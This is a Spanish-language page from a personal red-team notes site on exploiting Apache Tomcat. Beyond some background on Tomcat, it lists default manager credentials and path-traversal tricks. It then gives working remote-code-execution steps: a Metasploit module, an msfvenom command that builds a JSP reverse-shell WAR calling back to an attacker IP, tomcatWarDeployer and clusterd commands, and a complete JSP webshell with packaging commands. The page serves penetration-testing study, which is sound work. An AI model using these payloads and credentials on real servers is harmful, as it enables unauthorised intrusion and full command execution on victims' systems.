RED TEAM
  • Presentación
  • Apuntes Linux
  • Apuntes Blue Team
  • Apuntes Python
  • Ricardev github
  • RECON
    • OSINT
    • DESCUBRIENDO LA RED
      • NMAP NSE
    • SNIFFING
      • TCPDUMP
  • TECHNIQUES
    • FUERZA BRUTA
      • HYDRA
      • MEDUSA
      • JOHN THE RIPPER
      • NCRACK
      • RAINBOW TABLES
      • CHEATSHEET
    • CLAVES RSA DÉBILES
  • WEB HACKING
    • FUZZING
      • GOBUSTER
      • WFUZZ
      • OTRAS HERRAMIENTAS DE RECONOCIMIENTO WEB
    • OWASP TOP 10
      • A1-2017. SQL INJECTION
        • LOGIN FORM BYPASS
        • EXTRACCIÓN DE INFORMACIÓN.
        • SQLI MODIFIED HEADERS
        • BOOLEAN BLIND SQLI
        • TIME-BASED BLIND SQLI
        • AUTOMATIC INJECTION
      • A2-2017. ATAQUES A SISTEMAS DE AUTENTICACIÓN
      • A3-2017 - EXPOSICIÓN DE DATOS SENSIBLES
      • A4-2017. XXE
      • A5-2017. CONTROL DE ACCESO VULNERABLE
      • A6-2017. SEGURIDAD MAL CONFIGURADA
      • A7-2017. XSS
      • A8-2017. DESERIALIZACIÓN INSEGURA
      • A9-2017. USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS
      • A10-2017. REGISTRO Y MONITOREO INSUFICIENTE
    • SERVICIOS WEB
      • APACHE TOMCAT (RCE)
      • PRTG NETWORK MONITOR (RCE)
  • SERVICES HACKING (BOTH)
    • 20,21 - FTP
      • FTP BOUNCE ATTACK - ESCANEO
      • FTP BOUNCE ATTACK- DESCARGA DE OTRA FTP
    • 23 - TELNET
    • 25, 465 587 - SMTP
    • 111, 2049 - RPCBIND Y NFS
    • 161,162,10161,10162/udp - SNMP
      • SNMP (RCE Linux)
    • 445 - SMB
      • ETERNALBLUE
    • 3306 - MYSQL
  • SERVICES HACKING (LINUX)
    • 3632 - DISTCCD
  • SERVICES HACKING (WINDOWS)
    • 135, 539 - MSRPC
    • 389, 636 - LDAP / LDAPS
    • 1443 - MSSQL
  • ACTIVE DIRECTORY HACKING
    • CREANDO UN LABORATORIO DE AD
      • 1. Instalación de Windows Server 2016
      • 2. ROL DE ACTIVE DIRECTORY
      • 3. MALAS PRÁCTICAS NECESARIAS
    • CONCEPTOS
      • SPN Y KERBEROS
    • ENUMERACIÓN
      • BLOODHOUND
    • ATAQUES
      • SMB RELAY
      • NTLM RELAY
      • KERBEROASTING
      • AS_REP ROASTING
  • PRIVESC
    • WINDOWS
    • LINUX
      • LXD/LXC GROUP
  • EXFILTRACIÓN
    • EXFILTRANDO INFORMACIÓN
  • SHELL AND POWERSHELL TRICKS
    • Transfiriendo datos (traducir)
    • MEJORANDO SHELL A TTY INTERACTIVA (Traducir)
  • PWN LINUX
    • CREANDO UN LABORATORIO SIN MITIGACIONES
    • TEORÍA
      • ESTRUCTURA DE UN BINARIO DE LINUX
        • HERRAMIENTAS
      • ENSAMBLADOR
      • CONVENCIÓN DE LLAMADAS
      • MITIGACIONES
      • SYSCALL Y SHELLCODE
      • FORMAT STRING
      • RETURN-ORIENTED PROGRAMMING
        • GADGETS
    • ESTRATEGIAS DE EXPLOIT
      • STACK EXPLOITS
        • ATAQUE “SMASH THE STACK” SENCILLO
        • ATAQUE RET2WIN
        • ATAQUE RET2SHELLCODE
        • ATAQUE FORMAT STRING RET2SHELLCODE 2 BYTES
        • ATAQUE FORMAT STRING RET2SHELLCODE 4 BYTES
        • CANARY BYPASS
        • ATAQUE RET2LIBC
    • PRÁCTICA
      • PHOENIX
        • SETUP
        • STACK-ZERO amd64
        • STACK-ONE amd64
        • STACK-TWO amd64
        • STACK-THREE amd64
        • STACK-FOUR amd64
        • STACK-FIVE amd64
        • STACK-SIX amd64
        • FORMAT-ZERO amd64
Con tecnología de GitBook
En esta página
  • INFORMACIÓN BÁSICA
  • Que es un JAVA servlet
  • VULNERABILIDADES
  • Listado de Credenciales por Defecto.
  • Double URL encode
  • /examples
  • Path Traversal (..;/) o (;param = value)
  • RCE
  • Limitaciones
  • Metasploit
  • MSFVenom Reverse Shell
  • tomcatWarDeployer.py
  • Culsterd
  • Método manual (WebShell)

¿Te fue útil?

  1. WEB HACKING
  2. SERVICIOS WEB

APACHE TOMCAT (RCE)

Explotar apache tomcat para obtener acceso remoto al servidor.

AnteriorSERVICIOS WEBSiguientePRTG NETWORK MONITOR (RCE)

Última actualización hace 3 años

¿Te fue útil?

INFORMACIÓN BÁSICA

Estrictamente hablando, Tomcat no es un servidor web como Apache HTTPS Server o NGINX.

Comenzado en 1999 y desarrollado como un proyecto de código abierto por la Apache Software Foundation (ASF), Apache Tomcat es un contenedor Java Servlet, o contenedor web, que proporciona la funcionalidad extendida para interactuar con Java Servlets, al tiempo que implementa varias especificaciones técnicas de la plataforma Java: JavaServer Pages (JSP), Java Expression Language (Java EL) y WebSocket.

Que es un JAVA servlet

Este es un software que permite que un servidor web maneje contenido web dinámico basado en Java utilizando el protocolo HTTP. JSP es una tecnología similar que permite a los desarrolladores crear contenido dinámico utilizando documentos HTML o XML. En términos de su capacidad para habilitar contenido dinámico, los Servlets de Java y JSP son ampliamente comparables a PHP o ASP.NET, solo basados ​​en el lenguaje de programación Java.

Al reunir todas estas tecnologías basadas en Java, Tomcat ofrece un entorno de servidor web «Java puro» para ejecutar aplicaciones creadas en el lenguaje de programación Java.

Si bien Apache es un servidor web HTTPS tradicional, optimizado para manejar contenido web estático y dinámico (muy a menudo basado en PHP), carece de la capacidad de administrar Servlets Java y JSP. Tomcat, por otro lado, está casi totalmente orientado al contenido basado en Java. De hecho, Tomcat se desarrolló originalmente como un medio para proporcionar la funcionalidad JSP que Apache carecía.

VULNERABILIDADES

En muchas ocasiones nos topamos con servidores que contienen una instancia de Apache Tomcat con credenciales conocidos o con los credenciales por defecto. Esto nos permite obtener fácilmente acceso remoto al servidor de las maneras que vamos a ver a continuación.

Listado de Credenciales por Defecto.

Username
Password

admin

password

admin

[en blanco]

admin

Password1

admin

password1

admin

admin

admin

tomcat

both

tomcat

manager

manager

role1

role1

role1

tomcat

role

changethis

root

Password1

root

changethis

root

password

root

password1

root

r00t

root

root

root

toor

tomcat

tomcat

tomcat

s3cret

tomcat

password1

tomcat

password

tomcat

[en blanco]

tomcat

admin

tomcat

changethis

Double URL encode

Es decir, para acceder al Tomcat app manager vamos a:

[rutaTomcat]/%252E%252E/manager/html

Puede ser que para enviar una webshell tengamos que utilizar este truco y mandar una coockie o una token SSRF.

Para acceder a una backdoor puede ser que lo necesitemos tambien.

/examples

Algunos de los ejemplos de este directorio (incluido en Apache Tomcat v4.x - v7.x) pueden ser utilizados por el atacante para obtener información del objetivo.

Algunos de ellos son vulnerables a XSS:

  • /examples/jsp/num/numguess.jsp

  • /examples/jsp/dates/date.jsp

  • /examples/jsp/snp/snoop.jsp

  • /examples/jsp/error/error.html

  • /examples/jsp/sessions/carts.html

  • /examples/jsp/checkbox/check.html

  • /examples/jsp/colors/colors.html

  • /examples/jsp/cal/login.html

  • /examples/jsp/include/include.jsp

  • /examples/jsp/forward/forward.jsp

  • /examples/jsp/plugin/plugin.jsp

  • /examples/jsp/jsptoserv/jsptoservlet.jsp

  • /examples/jsp/simpletag/foo.jsp

  • /examples/jsp/mail/sendmail.jsp

  • /examples/servlet/HelloWorldExample

  • /examples/servlet/RequestInfoExample

  • /examples/servlet/RequestHeaderExample

  • /examples/servlet/RequestParamExample

  • /examples/servlet/CookieExample

  • /examples/servlet/JndiServlet

  • /examples/servlet/SessionExample

  • /tomcat-docs/appdev/sample/web/hello.jsp

Path Traversal (..;/) o (;param = value)

En algunas versiones vulnerables de Tomcat podemos acceder a directorios protegidos utilizando la ruta /..;/ o /;param = value

Por ejemplo:

www.vulnerable.com/lalala/..;/manager/html

www.vulnerable.com/;param=value/manager/html

RCE

Por último, si tienes acceso al Tomcat app Manager puedes subir y desplegar un archivo .war (ejecutable).

Limitaciones

Solo podrás desplegar un archivo WAR si tienes suficientes privilegios (roles: admin, manager, manager-script).

Estos detalles se pueden ver normalmente en:

/usr/share/tomcat9/etc/tomcat-users.xml

Metasploit

use exploit/multi/http/tomcat_mgr_upload

MSFVenom Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=[Tu IP] LPORT=[Puerto] -f war -o revshell.war

Después debes subir este archivo y acceder a www.vulnerable.com/revshell

tomcatWarDeployer.py

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Método manual (WebShell)

Creamos un archivo index.jsp con el siguiente contenido:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

Luego lo convertimos a WAR con los siguientes comandos:

$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *
webshell.war is created

DespuésDespués debes subir este archivo y acceder a www.vulnerable.com/webshell

La primera vulnerabilidad que vamos a ver es mod_jk en . Esta vulnerabilidad permite realizar path traversal mediante doble encoding de la URL.

CVE-2007-1860
¿Qué es Apache Tomcat?Blog HostDime Argentina, servidores dedicados
Fuente
Multiple Ways to Exploit Tomcat Manager - Hacking ArticlesHacking Articles
Fuente
Logo
TomcatHackTricks
Fuente
Apache Tomcat Example Scripts Information LeakageRapid7
Fuente
Logo
GitHub - mgeeky/tomcatWarDeployer: Apache Tomcat auto WAR deployment & pwning penetration testing tool.GitHub
Fuente
GitHub - hatRiot/clusterd: application server attack toolkitGitHub
Fuente
Logo
Logo
Logo
Fuente: Hacking Articles
Logo